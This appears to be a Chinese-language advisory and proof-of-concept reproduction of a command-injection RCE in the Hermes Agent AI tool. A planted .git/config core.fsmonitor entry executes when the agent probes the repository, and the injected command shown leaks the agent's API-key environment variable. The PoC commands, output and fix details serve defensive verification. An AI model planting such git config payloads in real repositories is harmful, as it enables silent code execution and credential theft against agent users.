.git/config 实现 Hermes Agent RCE受影响版本: Hermes Agent 0.18.2 – 0.21.0
修复版本: 提交 f6234d0(fix(security): close GitSpawn RCE class,GHSA-7x36-8jrh-v4pw),在 0.21.0 之后首次发布
类别: CWE-78 OS 命令注入 → RCE,不向用户显示任何提示
安全公告: https://www.vulncheck.com/advisories/hermes-agent-rce-via-git-core-fsmonitor-config-injection
Hermes 在组装系统提示时会构建一个编码工作区快照:
在任何提示、工具调用、审批或信任门控之前,它会对会话所在的目录运行
git -C <session working dir> status --porcelain=2 --branch(以及
rev-parse、log)。
直到并包括 0.21.0 在内,这些探测在启动时都没有剥离仓库自身的配置,因此任何指定执行接收点的 git 配置键都会被遵循:
[core]
fsmonitor = "<attacker command>"
索引刷新(git status)会以运行 agent 的用户身份执行该命令,并携带 agent 的完整环境——包括已配置的 provider API 密钥。同一类问题还涵盖 core.hooksPath(例如 post-index-change 钩子)、pager、editor,以及由 .gitattributes 限定的 diff/textconv 驱动。
git clone 从不传输 .git/config,因此投递载体是以文件形式交付的仓库:zip 压缩包、同步文件夹、USB 存储设备、解压后的归档。屏幕上不会显示任何内容。
前提条件: agent 的工作目录必须是该恶意仓库(快照会探测该目录)。在此构建中,即会话配置的工作目录——config.yaml 中的 terminal.cwd 或 TERMINAL_CWD 环境变量;此 PoC 同时设置了二者。若未配置 cwd,一次性 CLI 会将其工作区解析为 $HOME,此时探测将永远不会触及该仓库。
# 1) create the malicious repository (no network, no dependencies)
python3 poc.py build --dir /tmp/cve-2026-71963/repo
# 2) run the real agent against it and assert execution
python3 poc.py exploit \
--dir /tmp/cve-2026-71963/repo \
--hermes /path/to/vulnerable/hermes \
--hermes-py /path/to/python
# 3) same run against a fixed build: nothing must execute
python3 poc.py control --dir /tmp/cve-2026-71963/repo \
--hermes /path/to/fixed/hermes --hermes-py /path/to/python
PoC 会写入一个临时的 HERMES_HOME(工作目录固定到仓库,模型提供方指向内置的 OpenAI 兼容 mock),因此一次完整的 agent 回合运行零 API 成本。注入的命令会将 id 以及哨兵环境变量的值(默认为 DEMO_API_KEY)写入证据文件,断言检查的正是该文件。
存在漏洞的构建:0.21.0(提交 413b6ba3dd 的分离工作树,即修复的父提交),已修复的构建:0.21.2(main)。两次运行均使用相同的仓库和相同的临时 home 布局。
$ python3 poc.py exploit --hermes <0.21.0>/hermes --hermes-py <venv>/python
[*] malicious repo ready: /tmp/cve-2026-71963/repo
[*] injected command : id > .../evidence.txt 2>&1; echo AGENT_ENV_KEY:$DEMO_API_KEY >> .../evidence.txt
[*] running: <venv>/python <0.21.0>/hermes -z hello
[*] HERMES_HOME=/tmp/cve-2026-71963/home-vuln working dir=/tmp/cve-2026-71963/repo
[*] agent exited rc=0 output='ok'
[*] evidence captured:
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),... (account name scrubbed)
AGENT_ENV_KEY:DEMO-QRXAPQFB
=> PASS (command executed as the agent's user and read the agent's environment - sentinel DEMO-QRXAPQFB recovered)
$ python3 poc.py control --hermes <0.21.2>/hermes --hermes-py <venv>/python
[*] agent exited rc=0 output='ok'
=> PASS (negative control: probes ran, nothing executed)
这些探针在两个构建中都会运行。对修复后构建中的 git 调用进行插桩,可以说明为什么第二个探针是无效的:
CWD=<repo> ARGS=-C <repo> status --porcelain=2 --branch GITCFG_COUNT=10 K0=credential.helper V0= GLOBAL=/dev/null SYSTEM=/dev/null
CWD=<repo> ARGS=-C <repo> rev-parse --git-dir GITCFG_COUNT=10 ... GLOBAL=/dev/null SYSTEM=/dev/null
即 bounded_git_probe 现在会在 noninteractive_git_env() 下启动 git,该函数通过 GIT_CONFIG_KEY_*/GIT_CONFIG_VALUE_* 固定 core.fsmonitor=false(以及 hooks/pager/editor/credential 辅助项),并将 GIT_CONFIG_GLOBAL / GIT_CONFIG_SYSTEM 指向 /dev/null。差异渲染探测还会额外传入 --no-ext-diff --no-textconv。
git clone https://github.com/NousResearch/hermes-agent
cd hermes-agent
git worktree add --detach ../hermes-0.21.0 413b6ba3dd # vulnerable (0.21.0)
python -m venv venv && ./venv/bin/pip install -e . # deps are compatible with main
../hermes-0.21.0/hermes --version
f6234d0 的构建)。.git/config 中的 fsmonitor、hooksPath、pager、editor、credential.helper 以及 [diff "*"] 的 command/textconv 条目。公开 CVE,且厂商已提供公开修复;本仓库是面向防御者的独立复现,用于验证修复边界。